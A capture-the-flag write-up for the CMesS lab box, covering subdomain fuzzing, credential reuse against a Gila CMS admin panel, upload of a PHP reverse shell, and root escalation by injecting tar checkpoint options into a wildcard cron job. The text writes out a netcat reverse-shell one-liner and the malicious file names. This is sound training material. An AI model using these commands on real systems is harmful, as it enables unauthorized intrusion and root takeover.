CMesS, Write Up, kali

overview

this writeup documents exploitation of a medium-difficulty box involving enumeration to discover cms credentials, php shell upload, and privilege escalation through wildcard exploitation in a root-level cron job.

enumeration

initial nmap scan

nmap -v -sV -sC -oA nmap cmess.thm

results revealed:

port 22: openssh 7.2p2
port 80: apache 2.4.18 running gila cms
robots.txt entries: /src/, /themes/, /lib/

subdomain discovery

after initial enumeration proved unproductive, wfuzz was used to identify subdomains:

wfuzz -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -H "Host: FUZZ.cmess.thm" --hl 107 -u cmess.thm

result: found dev.cmess.thm containing exposed credentials.

username: andre@cmess.thm
password: [redacted]

admin panel access

credentials successfully authenticated against cmess.thm/admin.

file manager exploitation

accessed the file manager at /admin/fm to exploit an lfi vulnerability. this exposure allowed:

reading config.php which contained mysql credentials (user: root, password: [redacted])
uploading a php reverse shell

shell acquisition

after uploading the reverse shell:

nc -nvlp 4443

accessed the shell via http://cmess.thm/assets/php-reverse-shell.php, then upgraded to interactive bash:

python3 -c 'import pty; pty.spawn("/bin/bash");'

privilege escalation

user flag

manual enumeration of /opt/ revealed additional credentials for user andre. ssh access was established and user.txt obtained.

root exploitation

linpeas identified a critical vulnerability: a job running every 2 minutes as root, using a wildcard. exploited wildcard expansion in the tar command through checkpoint arguments:

echo "mkfifo /tmp/obizbxg; nc 10.4.14.205 4444 0</tmp/obizbxg | /bin/bash >/tmp/obizbxg 2>&1; rm /tmp/obizbxg" > shell.sh

created malicious tar options:

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

set up a listener and waited for the root-level callback, obtaining the final flag.

key takeaways

this box emphasized enumeration fundamentals (subdomain discovery), cms-specific vulnerabilities, and wildcard exploitation in shell globbing contexts.